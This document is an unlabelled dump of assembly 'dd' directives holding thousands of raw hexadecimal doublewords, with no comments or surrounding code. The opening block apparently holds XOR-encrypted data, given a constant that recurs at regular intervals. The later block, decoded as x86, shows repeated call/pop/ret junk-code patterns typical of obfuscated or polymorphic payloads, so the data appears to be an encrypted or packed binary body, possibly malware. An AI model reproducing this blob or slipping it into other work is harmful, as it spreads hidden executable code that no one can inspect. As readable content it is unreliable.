dd 0BBDC9B16h, 0FF469B16h, 0AD1F9F32h, 7CB47F1h, 0CE00329Ah
dd 0FF5B768Ah, 29169F32h, 360C2F33h, 0DB0C0ABBh, 7A9B9ADBh
dd 0FAB491D7h, 0A85DF575h, 0FF5D9CDAh, 3C02BF32h, 0DB21166Dh
dd 0DB191E36h, 0FF5D8636h, 3C0AD832h, 0AA8F0336h, 0F9B4118Fh
dd 0A45D9F32h, 23D5099Ah, 0FF5776EBh, 0ACA89F32h, 6ADA12DBh
dd 0C0A68B0Ah, 0FF5D9BDAh, 21803632h, 0ECB4CF85h, 525D9F32h
dd 8A693F1h, 3720D964h, 1D46C5D6h, 1C470296h, 0AF07CF2Eh
dd 0FF721C3Dh, 0EDB59F32h, 795D9F32h, 0E591EEE3h, 8AD2B7AEh
dd 572FD5B6h, 652BF0F5h, 0FF4F768Fh, 2429F32h, 809A40Bh
dd 7CFDE6DBh, 4A8CDD0Ah, 63386A2Dh, 0DB191468h, 0FADB9036h
dd 415D9F32h, 0E75A75EDh, 0EDB59FB9h, 495D9F32h, 4081D935h
dd 517F4466h, 0EFD0F71Bh, 3EC809DDh, 0FF53771Dh, 16B89F32h
dd 4F8F062Dh, 0F9D3C22Ah, 34BB85ECh, 0BBD4C66Ch, 95059B16h
dd 0FCB5CC32h, 0DF5D9F32h, 76065C69h, 7E59BB6Eh, 0E959BB76h
dd 0BC5D9F32h, 0B9725C61h, 0A6E01686h, 74587600h, 166C068Fh
dd 2E86037h, 7658762Ch, 164BFEBFh, 90D81237h, 99587348h
dd 193F88h, 26DCF9E2h, 7AD417A5h, 0FAB4B6CBh, 95B44B8Ch
dd 1AD8590Ch, 0B858763Ch, 170A9F58h, 0FF5D9F31h, 0A09EC012h
dd 0FB79E3BBh, 0FB79DBB3h, 0FF5D9F29h, 979EC875h, 81DBCC9h
dd 0AD38DB7h, 25FEAB5Ah, 7E282DFAh, 4C13BB06h, 72D6D634h
dd 0FAB488C3h, 0E1A02ACDh, 7A749ADBh, 0FAB4B797h, 85321ABFh
dd 7B529ADEh, 0FF5D9F31h, 0A31454h, 0AD5DF5E2h, 0FF5D9CDAh
dd 3C07BF32h, 0DB091668h, 0DB191E36h, 0FF5D8936h, 3C0FDD32h
dd 742D1AFFh, 164FDA8Fh, 0FED81637h, 95587615h, 0FCB5CD32h
dd 0DF5D9F32h, 76075C68h, 7E59BB66h, 0E459BB76h, 0BD5D9F32h
dd 74585C60h, 0F5BC700h, 7A9BE005h, 0FAB491D7h, 9ED01475h
dd 97587617h, 166601FCh, 0FF5D9ADBh, 8160F32h, 0CBDCB894h
dd 9FF0C16h, 0AD5DF571h, 0FF5D9CDAh, 3C07BF32h, 0DB091668h
dd 0DB191E36h, 0FF5D8236h, 3C0FDD32h, 0F2F4E544h, 0E11C0A24h
dd 0A4CC04h, 16436287h, 0A85DF537h, 0FF5D9CDAh, 3C02BF32h
dd 0DB21166Dh, 0DB191E36h, 0FF5D8936h, 3C0AD832h, 17EFF74Ah
dd 0FF5D9F39h, 0F6768A81h, 0CBAA260Ch, 0A6953B1Dh, 85321ABFh
dd 0AFE29ADEh, 7F85C6h, 0FF5B77E2h, 576E9F32h, 1466E96Ch
dd 0FF4C123Dh, 0F4B59F32h, 9C5D9F32h, 3AD481B8h, 0D799F5EFh
dd 0A602ED55h, 0D9AC1ABBh, 2FD69ADBh, 6A744FCDh, 0FAB49627h
dd 7AD4C664h, 0FAB4B00Bh, 170E9F58h, 0FF5D9F31h, 0A49EC412h
dd 0FB79C3BBh, 0FB79DBB3h, 0FF5D9F29h, 0BB9ECC71h, 0E427A7F9h
dd 76EE6FF0h, 1659E687h, 27D1F937h, 170E9F58h, 0FF5D9F31h
dd 0A49EC412h, 0FB79C3BBh, 0FB79DBB3h, 0FF5D9F24h, 3C9ECC71h
dd 4AD6BC4Fh, 0FAB4AE23h, 0FF379B16h, 0FF5E7763h, 0A67D9F32h
dd 0B3D4C6F1h, 0BBDC9B16h, 0FF469B16h, 0AE1C9F32h, 0D5C8F6F1h
dd 1AEE09E7h, 3AD01649h, 1758763Ch, 0FF5D9F3Fh, 64D6F314h
dd 0BB8B0B31h, 0C0686468h, 0B2E0140Bh, 0A0587639h, 1E8C1E54h
dd 0F09D957Dh, 0FF5E42B6h, 66E81432h, 39587610h, 16537AB7h
dd 72D6D037h, 0FAB4B3DBh, 0FF5D9BDAh, 7F315B32h, 0FF57778Dh
dd 1F99F32h, 255FD766h, 81E01A8Ah, 0FF5D8EDBh, 153BF632h
dd 94DA17Ch, 8C92F869h, 9C162365h, 0AF047C5Bh, 7752FF52h
dd 0FF5D9F32h, 0CE52CD62h, 173CC768h, 0FF5D9F21h, 0D04EC59Eh
dd 53C609FFh, 2796BB23h, 22AB95CAh, 1730172Fh, 0FF5D9F23h
dd 0C71525DCh, 0F7F32CE3h, 4E273107h, 0FA358EBAh, 9E07C18Eh
dd 0FB79DBB9h, 9F0FCF52h, 0F06C9053h, 0FF5D9FBAh, 9E05C532h
dd 85E79FB9h, 763198C4h, 1659BB76h, 0FF5D9F20h, 2673CEDh
dd 703D3954h, 0B2EE610Fh, 98336E13h, 0A9050F1Ah, 6A8F50B3h
dd 39ADBh, 16436287h, 0F7D39037h, 0F05D9F32h, 0FF5D9DB1h
dd 72931432h, 1327F0B7h, 0AA5DF537h, 0FF5D9CDAh, 3C00BF32h
dd 0DB31166Fh, 0DB191E36h, 0FF5D8536h, 3C08DA32h, 0D7E51898h
dd 164D0729h, 0FF5D9F3Ch, 0BFFCA70Ah, 6F59B37h, 0D58DD770h
dd 62D436F0h, 0FAB4BA2Bh, 42D64FCDh, 0FAB4999Fh, 95795FB1h
dd 0FCB5C932h, 0DF5D9F32h, 76035C6Ch, 7E59BB46h, 0E759BB76h
dd 0B95D9F32h, 235C5C64h, 49765132h, 13B31E86h, 7635D8C2h
dd 1674B2B7h, 0A85DF537h, 0FF5D9CDAh, 3C02BF32h, 0DB21166Dh
dd 0DB191E36h, 0FF5D8A36h, 3C0AD832h, 0F8B42C90h, 0ED5D9F32h
dd 0F465F07h, 74A47940h, 1672A6B7h, 0AE5DF537h, 0FF5D9CDAh
dd 3C04BF32h, 0DB11166Bh, 0DB191E36h, 0FF5D8836h, 3C0CDE32h
dd 99DA5774h, 0E2054h, 6ED09452h, 74587624h, 62D6FEC1h
dd 0FAB4B9C3h, 0E2C01652h, 4A587602h, 951EFE8Dh, 0FCB5CE32h
dd 0DF5D9F32h, 76045C6Bh, 7E59BB7Eh, 0E359BB76h, 0BE5D9F32h
dd 0B3EC5C63h, 1490BDBAh, 99DED4AEh, 0E4D657B9h, 170A9F58h
dd 0FF5D9F31h, 0A09EC012h, 0FB79E3BBh, 0FB79DBB3h, 0FF5D9F27h
dd 959EC875h, 0E4D66A92h, 0E2A00ABBh, 0E4D69ADBh, 170D9F58h
dd 0FF5D9F31h, 0A79EC712h, 0FB79DBBBh, 0FB79DBB3h, 0FF5D9F25h
dd 589ECF72h, 993C8A93h, 715B69B3h, 7AD44701h, 0FAB4910Fh
dd 0F13C02BBh, 0FF379ADBh, 0FF5E7764h, 0A17D9F32h, 8BD4C1F1h
dd 0BBDC9B16h, 0FF419B16h, 0A91B9F32h, 273A01F1h, 1F6793E6h
dd 26DC34D0h, 0CF708941h, 0F1B81AF4h, 951A9ADBh, 0FCB5CD32h
dd 0DF5D9F32h, 76075C68h, 7E59BB66h, 0E659BB76h, 0BD5D9F32h
dd 0A63A5C60h, 4127B283h, 0AD27B48Ch, 0FF59772Bh, 22F49F32h
dd 990D28ECh, 749EC88Dh, 4E59BB76h, 455D1493h, 8B5907B0h
dd 0FB79DBBBh, 3B2154h, 0FADD906Ah, 995D9F32h, 3FD155B3h
dd 0E1A02ACDh, 0FF379ADBh, 0FF5E7760h, 0A57D9F32h, 0ABD4C5F1h
dd 0BBDC9B16h, 0FF499B16h, 0AD1F9F32h, 7AD0FCF1h, 0FAB1E55Dh
dd 0A149B2h, 0A85DF5E2h, 0FF5D9CDAh, 3C02BF32h, 0DB21166Dh
dd 0DB191E36h, 0FF5D8436h, 3C0AD832h, 145D4066h, 28F8B73h
dd 0F1502ABBh, 2ED69ADBh, 0D6A41ABBh, 6AD69ADBh, 0FAB481F3h
dd 0FF4D7672h, 66059F32h, 4B6A20C7h, 2AB8928Ch, 1086A035h
dd 405269D9h, 955D14FAh, 0FCB5CA32h, 0DF5D9F32h, 76005C6Fh
dd 7E59BB5Eh, 0E859BB76h, 0BA5D9F32h, 0B945C67h, 0F03D7541h
dd 743D4D85h, 165B6AAFh, 5C7D2637h, 9E3CCCD3h, 0FF379FB9h
dd 0FF5E7761h, 0A47D9F32h, 0A3D4C4F1h, 0BBDC9B16h, 0FF409B16h
dd 0AC1E9F32h, 0AE5F16F1h, 2C84E8F9h, 74B10EB0h, 16526A8Fh
dd 3AD81637h, 0F0587613h, 0FF5D93B0h, 0F9DA9032h, 745D9F32h
dd 1673A2BFh, 94B41F37h, 0FF5D6ADBh, 0FF497632h, 7B6A9F32h
dd 6AE5553Eh, 20BE94C1h, 0F2278DABh, 8DD47A5Bh, 7AD08C57h
dd 0FAB125DAh, 170F9F58h, 0FF5D9F31h, 0A59EC512h, 0FB79CBBBh
dd 0FB79DBB3h, 0FF5D9F24h, 0D29ECD70h, 40E7B34Bh, 6F712AE3h
dd 990D55B9h, 9FCD4FB9h, 0DC40123Bh, 3C9ADBh, 1676FEA7h
dd 0AF5DF537h, 0FF5D9CDAh, 3C05BF32h, 0DB19166Ah, 0DB191E36h
dd 0FF5D8336h, 3C0DDF32h, 3C1B5B4Ah, 2C7B26EDh, 11C01293h
dd 76587388h, 164D4EBFh, 9F0D0C37h, 0FD952054h, 36DC0C53h
dd 0BCC0DF40h, 0FF55173Dh
dd 763D9F32h, 1645868Fh, 990DFE37h, 762EB48Dh, 22E7BB36h
dd 0F0546805h, 0FF5D99B3h, 0A0841E32h, 53AD08h, 166F5AA7h
dd 0AD5DF537h, 0FF5D9CDAh, 3C07BF32h, 0DB091668h, 0DB191E36h
dd 0FF5D8436h, 3C0FDD32h, 0DD2EB364h, 0ACD90324h, 768A203Dh
dd 1674B2B7h, 61EC2637h, 7A9B9DFDh, 0FAB491D7h, 8AE8B661h
dd 1758762Fh, 0FF5D9F36h, 55DA1B4Dh, 74AD1462h, 9959BB76h
dd 74228A88h, 92E2F932h, 0DB1916ABh, 0F3B5FF36h, 3F5D9F32h
dd 0AECB4C1Fh, 0D2B71045h, 0F045E417h, 0FF5D9FBCh, 0A50BC032h
dd 0FF37C753h, 0FF5E7765h, 0A07D9F32h, 83D4C0F1h, 0BBDC9B16h
dd 0FF4A9B16h, 0A81A9F32h, 0DD31F0F1h, 0B6E014BBh, 58761Ch
dd 16436287h, 29D6FF37h, 0FF5B1D3Dh, 79529F32h, 0FF5D9F32h
dd 90D81253h, 95587348h, 0FCB5CD32h, 0DF5D9F32h, 76075C68h
dd 7E59BB66h, 0E959BB76h, 0BD5D9F32h, 1E0D5C60h, 958D6063h
dd 0FCB5CA32h, 0DF5D9F32h, 76005C6Fh, 7E59BB5Eh, 0E859BB76h
dd 0BA5D9F32h, 3EA55C67h, 753D1E06h, 0FF4977EFh, 356C9F32h
dd 0FAE5C599h, 0BB33237Eh, 0F5496680h, 0BD3F49F8h, 9E04DBD1h
dd 0FF59173Dh, 453B9F32h, 7AD41049h, 0FAB49F9Fh, 0E76402BBh
dd 7A9B9ADBh, 0FAB491D7h, 26C01675h, 9758762Ch, 0F38B428h
dd 0CBDCF587h, 0E8631516h, 36E01663h, 58761Fh, 16436287h
dd 0AA5DF537h, 0FF5D9CDAh, 3C00BF32h, 0DB31166Fh, 0DB191E36h
dd 0FF5D8A36h, 3C08DA32h, 7AD05697h, 0FAB1E55Dh, 170B9F58h
dd 0FF5D9F31h, 0A19EC112h, 0FB79EBBBh, 0FB79DBB3h, 0FF5D9F2Eh
dd 679EC974h, 564B16D3h, 6DD2B43h, 0FF374FCDh, 0FF5E7761h
dd 0A47D9F32h, 0A3D4C4F1h, 0BBDC9B16h, 0FF479B16h, 0AC1E9F32h
dd 0C5E57F1h, 0B06ED1ABh, 0E96402BBh, 7AD49ADBh, 0FAB4B47Fh
dd 170A9F58h, 0FF5D9F31h, 0A09EC012h, 0FB79E3BBh, 0FB79DBB3h
dd 0FF5D9F26h, 8E9EC875h, 0FCDC22BBh, 7A9B9ADBh, 0FAB491D7h
dd 0AD5DF561h, 0FF5D9CDAh, 3C07BF32h, 0DB091668h, 0DB191E36h
dd 0FF5D8736h, 3C0FDD32h, 0F887441Eh, 0E8A0F708h, 0F8B585C3h
dd 575D9F32h, 7B9FB805h, 160F389Bh, 0FF5D9F3Bh, 0FD0A569Ah
dd 26E4E72Dh, 7E07C5CFh, 0B8CEBB36h, 0FF37E17Ah, 0FF5E7767h
dd 0A27D9F32h, 93D4C2F1h, 0BBDC9B16h, 0FF419B16h, 0AA189F32h
dd 479170F1h, 8761A805h, 28E3C39Eh, 11A3D2h, 16436287h
dd 0EFD39037h, 165D9F32h, 0FF5D9F39h, 8D984306h, 6B5435Bh
dd 721CFE30h, 1327F0B7h, 0FF507637h, 13059F32h, 0CDC83E15h
dd 6FDF3F40h, 99E5E96Fh, 2FA264B9h, 0E90C2A11h, 7AD49ADBh
dd 0FAB494F7h, 17089F58h, 0FF5D9F31h, 0A29EC212h, 0FB79F3BBh
dd 0FB79DBB3h, 0FF5D9F2Bh, 849ECA77h, 0AF888B20h, 3BB31F1Ch
dd 0F1B81AF4h, 160A9ADBh, 0FF5D9F37h, 942A8280h, 0A054F77Ah
dd 403B6F86h, 0CBDC1CFDh, 4F509016h, 0AA5DF552h, 0FF5D9CDAh
dd 3C00BF32h, 0DB31166Fh, 0DB191E36h, 0FF5D8936h, 3C08DA32h
dd 461C03h, 16436287h, 0AD5DF537h, 0FF5D9CDAh, 3C07BF32h
dd 0DB091668h, 0DB191E36h, 0FF5D8536h, 3C0FDD32h, 4C563C8Ch
dd 993155FAh, 2DD869B3h, 7AD065B9h, 0FAB1E55Dh, 36E8B660h
dd 0A158763Dh, 60D4FCDh, 36D8166Ch, 95587635h, 0FCB5CE32h
dd 0DF5D9F32h, 76045C6Bh, 7E59BB7Eh, 0E559BB76h, 0BE5D9F32h
dd 87C65C63h, 51489337h, 12C01628h, 39587614h, 16537AB7h
dd 36DDDC37h, 28E29091h, 3124355Ah, 0FF577796h, 0BD859F32h
dd 0A17DFF83h, 6A40074Ch, 0FF45193Dh, 0ECB49F32h, 5D9F32h
dd 0FD340FBCh, 8BD4C043h, 3DC51252h, 6281730Dh, 7E041B70h
dd 923BB36h, 0F5B488F3h, 0AF5D9F32h, 23B09Ch, 0F932480Ch
dd 2E860DFh, 7F58762Ch, 7AD0C3E4h, 0FAB1E55Dh, 170E9F58h
dd 0FF5D9F31h, 0A49EC412h, 0FB79C3BBh, 0FB79DBB3h, 0FF5D9F25h
dd 5E9ECC71h, 17B61CF3h, 0FF5D9F20h, 436F78F3h, 0EF11A6A6h
dd 0D95697C6h, 0ACDD91BFh, 72D66878h, 0FAB4AD5Bh, 958D606Bh
dd 0FCB5CE32h, 0DF5D9F32h, 76045C6Bh, 7E59BB7Eh, 0E359BB76h
dd 0BE5D9F32h, 60115C63h, 0CC37DD21h, 0F0D33299h, 0FD64985h
dd 0DEE41ABBh, 0FF379ADBh, 0FF5E7761h, 0A47D9F32h, 0A3D4C4F1h
dd 0BBDC9B16h, 0FF419B16h, 0AC1E9F32h, 0CE6832F1h, 0D85A9232h
dd 0C7E8C8A0h, 45831ABFh, 0FF379ADEh, 0FF5E7763h, 0A67D9F32h
dd 0B3D4C6F1h, 0BBDC9B16h, 0FF459B16h, 0AE1C9F32h, 214B7BF1h
dd 4254FF18h, 0FAB49ABBh, 768A1462h, 6AA2BB36h, 0FAB4B453h
dd 0D6A2283Dh, 164346B7h, 99851437h, 504671B3h, 458F1ABFh
dd 0FF379ADEh, 0FF5E7765h, 0A07D9F32h, 83D4C0F1h, 0BBDC9B16h
dd 0FF479B16h, 0A81A9F32h, 22AA37F1h, 926C87A6h, 0D5A82A33h
dd 0AFCD9ADBh, 0FF577760h, 0EE929F32h, 0FA230AF7h, 319BC7C0h
dd 0F002FE52h, 0FF5B7703h, 30479F32h, 25391D5Eh, 0A502FE52h
dd 0AD0DCF6Ah, 0F00FCF52h, 9E05C503h, 0A707AE3Dh, 0AC5DF5A2h
dd 0FF5D9CDAh, 3C06BF32h, 0DB011669h, 0DB191E36h, 0FF5D8336h
dd 3C0EDC32h, 16168D02h, 0FA012147h, 9F0F0C0Ah, 0FF5D8DDAh
dd 0FCB2DC32h, 0AABD1CBAh, 0EDDD5871h, 0F324D2C9h, 0A479911Bh
dd 0FF5D183Dh, 0A53C9F32h, 31D6CC62h, 0FF370C6Bh, 0FF5E7765h
dd 0A07D9F32h, 83D4C0F1h, 0BBDC9B16h, 0FF459B16h, 0A81A9F32h
dd 0D86A37F1h, 0A41BF0h, 166F5AA7h, 0FF587637h, 44CD9F32h
dd 76650290h, 165672B7h, 0A85DF537h, 0FF5D9CDAh, 3C02BF32h
dd 0DB21166Dh, 0DB191E36h, 0FF5D8336h, 3C0AD832h, 27DD52FBh
dd 0BFD67C25h, 2BB41F7Dh, 0DB601AF5h, 0FF529ADBh, 0FF379F32h
dd 0FF5E7760h, 0A57D9F32h, 0ABD4C5F1h, 0BBDC9B16h, 0FF419B16h
dd 0AD1F9F32h, 621980F1h, 0D7B81148h, 413B068Ch, 6AA2D88Ch
dd 0FAB494DFh, 170C9F58h, 0FF5D9F31h, 0A69EC612h, 0FB79D3BBh
dd 0FB79DBB3h, 0FF5D9F2Bh, 219ECE73h, 16EA1C9Fh, 0DDDFF0Bh
dd 0A6C01632h, 9E587600h, 0F8581ABBh, 0FF379ADBh, 0FF5E7762h
dd 0A77D9F32h, 0BBD4C7F1h, 0BBDC9B16h, 0FF419B16h, 0AF1D9F32h
dd 7038F9F1h, 0E2A9FC5Ah, 7AD646EBh, 0FAB49A27h, 307A02BFh
dd 0BCD49ADEh, 2E01233h, 72587632h, 13929E87h, 0FF6E2637h
dd 5BAE9F32h, 0FFE5ACD9h, 0F45D9F32h, 3D5EEBF2h, 0BBD69F2Ah
dd 170E9316h, 0FF5D9F32h, 0E89E1E69h, 765D9F32h, 764DBB6Eh
dd 0A449BB76h, 60FDA88Ah, 74BD6032h, 59BB76h, 0AA5DF5D2h
dd 0FF5D9CDAh, 3C00BF32h, 0DB31166Fh, 0DB191E36h, 0FF5D8936h
dd 3C08DA32h, 16992F5Ch, 0FF5D9F37h, 28CC3042h, 0A85DF59Ah
dd 0FF5D9CDAh, 3C02BF32h, 0DB21166Dh, 0DB191E36h, 0FF5D8436h
dd 3C0AD832h, 4D85AA88h, 8054D517h, 0F20012BBh, 953C9ADBh
dd 0FCB5CD32h, 0DF5D9F32h, 76075C68h, 7E59BB66h, 0E559BB76h
dd 0BD5D9F32h, 99125C60h, 93DA81D2h, 0FBDC90C8h, 995D9F32h
dd 723D4D88h, 13E74D8Fh, 31D01237h, 475873FDh, 677B3407h
dd 0F3941A01h, 30769ADBh, 525F76F3h, 0DAAA5DF5h, 32FF5D9Ch
dd 6F3C00BFh, 36DB3116h, 36DB191Eh, 83FF5D89h, 0A4F305E9h
dd 6AD98Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0AF3C5CC3h, 0BB7AD82Dh, 0BD01600Ch, 5E92E29h
dd 519B58Bh, 0E96105E9h, 56h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 88C35242h, 0E9176445h, 0Eh
dd 59367427h, 95A8252h, 0D91F29EFh, 6A61FD2Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0E0A0C355h, 0F8DA91C8h, 0C08BF5C3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0DE9F9h
dd 28070000h, 40023EB0h, 0E3A7E75Ch, 83A1B51Bh, 0E9164DBDh
dd 9750005h, 1121BD83h, 740005E9h, 8B535019h, 4B9B8C0h
dd 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh
dd 5E91121h, 50177400h, 4B9B853h, 85890000h, 5E905ADh
dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6064F6C3h
dd 11E8h, 0FE9AB100h, 26F83472h, 39B8B6Ch, 5A44D694h, 0DF8B35FBh
dd 9333BB5Ah, 0E9617EEBh, 0Ah, 5EA3A396h, 0B286DC5Fh, 0B260F333h
dd 0C08B613Fh, 0C18B40FCh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0C4C35646h, 4EBF87Dh, 0
dd 0E8B0Fh, 7E80000h, 0A5000000h, 0E57FE2ECh, 5EF5534Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FAC35040h
dd 95895132h, 5E91DF5h, 21E5858Dh, 0BD8905E9h, 5E90341h
dd 0C3BF6690h, 0BE850EBh, 65000000h, 4E2855EFh, 257249CCh
dd 6660910Ah, 664494BFh, 61290EB9h, 0DE81905Eh, 27B971EAh
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 487C0EC3h, 850F605Ah, 2, 6A615F53h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 575AF808h, 0C3790A1Dh, 10FDB589h, 858D05E9h, 5ECD32Dh
dd 6005C083h, 8F2D06BEh, 6890F56h, 0F000000h, 88h, 0E8906100h
dd 8, 986F29DFh, 7FD7CE34h, 0CF1C36BFh, 60505E50h, 14B5BCB9h
dd 0BE525070h, 3C10E2B3h, 5A57310Fh, 9061585Ah, 66F9B70Fh
dd 0CB3C681h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BD8B2FC3h, 5E92D8Dh, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 315340C3h, 0E90F019Dh, 0A195FF05h, 8B05E90Ah, 0BF9D8DF7h
dd 6A05ECADh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 39EFC350h, 1770A865h, 2F3DBD8Bh
dd 0D3FF05E9h, 7BDBD01h, 85FF05E9h, 5E90689h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 18C35747h, 66F7E7ECh
dd 0CE9F18Bh, 0E8000007h, 0
dd 37ED815Dh, 6A05ECD3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 106AC355h, 0C5E3B942h
dd 50BF851Fh, 812E0EEAh, 0E9243DBDh, 7D005h, 64860F00h
dd 8B000001h, 0E9320DBDh, 419D8B05h, 8905E90Eh, 0E92D718Dh
dd 0E38105h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0BF71C353h, 0FABF66D3h
dd 29BF662Ch, 0FDB0B9Fh, 0C085h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D333920Bh
dd 1B52885Ch, 6BBD837Ah, 5ECD1h, 4C840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8B4378C3h, 0E90EA9B5h, 73E905h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DD9BADC3h
dd 8C7BA9D0h, 85C7F28Bh, 5ECD16Bh, 1, 0D1BD8B53h, 5E05E917h
dd 840Fh, 32E90000h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 4D6FC351h, 29CC5B25h
dd 0E90EF98Dh, 6B85C705h, 5ECD1h, 8B000000h, 419D8DFEh
dd 6A05E90Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0FD0C350h, 66BFAAFCh, 8115CE92h
dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0B90A5D3Ch, 660CD1DBh
dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 713E91C3h, 8589E4A3h, 5E91DCDh, 2A61B58Bh
dd 816605E9h, 0F6EAF0F7h, 840F04C3h, 0B5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E7C35343h, 12EA722Ch
dd 14E9ADh, 0ACB30000h, 0E86F3909h, 3ADC5312h, 215D1D50h
dd 6503D21h, 665721B8h, 5FD940BEh, 276D9531h, 95FF05E9h
dd 5E90BEDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 12C35242h, 9D89AA4Dh, 5E92E7Dh, 0FE890h, 87710000h
dd 0C6404C89h, 0B4462FE6h, 62056E3Fh, 8B6650CFh, 505E5FF1h
dd 0ADBBBF66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 29D1842Ah, 0E919C1B5h
dd 34CE905h, 0B00000h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 28C35040h, 52204444h, 8BC60923h, 0E918BDB5h
dd 6070E605h, 71E461F9h, 6FA2C781h, 81666AE5h, 0FBF82C6h
dd 6BAD8B6h, 66000000h, 0CF81F78Bh, 6594DA43h, 8589C38Bh
dd 5E91DE9h, 6604E8C1h, 663625BEh, 0BD8BE2F7h, 5E9233Dh
dd 0BD89D82Bh, 5E92B05h, 8E0F5250h, 6, 8C0Fh, 895F0000h
dd 8152241Ch, 0DAB80EC7h, 0B5FF5E28h, 5E9243Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0A7C35646h, 89B4849Fh
dd 0E931AD9Dh, 9595FF05h, 0B005E91Eh, 0CDABBF00h, 70E6565Ah
dd 6EC78166h, 971E4F1h, 0E917858Dh, 6870F05h, 8B000000h
dd 0E907C5B5h, 0F613C05h, 26983h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EC5B0511h
dd 2E12E538h, 0FF88B66h, 0AE8D8B6h, 0E5000000h, 0A4F262Dh
dd 7B884B33h, 0D68ABF5Dh, 0BA5E7490h, 6, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 14h, 0E0C35242h, 6AC38Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0F6C5E8C3h, 0BB374CC6h, 0CE8h, 256F0C00h, 7111E325h
dd 0F10CA10Ch, 61605393h, 95895E5Fh, 5E92AD5h, 21E1B58Bh
dd 0E8C105E9h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 858960F9h, 5E901E1h, 1C99531h
dd 666105E9h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0C681E9C3h, 1DE5EFFh, 6AD82Bh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0AFDBFFC3h, 664B6F92h, 810FFA8Bh, 0
dd 619D8958h, 2B05E918h, 37880FD8h, 60000001h, 1F55BD29h
dd 8D2B05E9h, 5E931EDh, 7B961h, 0B5010000h, 5E901C9h, 8100C183h
dd 78117EF6h, 0FD93B3Eh, 10D86h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0F5FCB0B6h
dd 0D98C66C4h, 2289B589h, 0C1F605E9h, 0B7840F04h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0F7A7C357h, 0BD8B5962h, 5E92BF9h, 0BED95FFh
dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0FADD15C3h, 6820FBDh, 89000000h, 0E91F718Dh
dd 6A5B05h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 581497C3h, 5AA2A648h, 4DDB531h, 0E78105E9h
dd 0A869C5Dh, 8960C32Bh, 0E927D59Dh, 68D0F05h, 33000000h
dd 0E90B6595h, 343D6105h, 0F000008h, 1186h, 30E900h, 0E9530000h
dd 5, 8A204CE9h, 0C08B5E5Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0F9C35545h, 2BBDB589h, 0C38B05E9h
dd 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 4EA91DC3h, 0B9E55903h, 79185C7h, 0A9F305E9h
dd 0BD8914ADh, 5E92DFDh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 6212D1C3h, 0A73FC3E6h
dd 0BD8B578Bh, 5E90555h, 3DBD815Eh, 0D005E924h, 0F000007h
dd 5285h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0FFB70FC7h, 243D85FFh, 6A05E9h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 872762C3h, 5DF8D12Fh, 0A1BE66AEh, 0B99589EAh, 0FF05E901h
dd 0E9243DB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 0FF4FA703h, 0E91E9595h
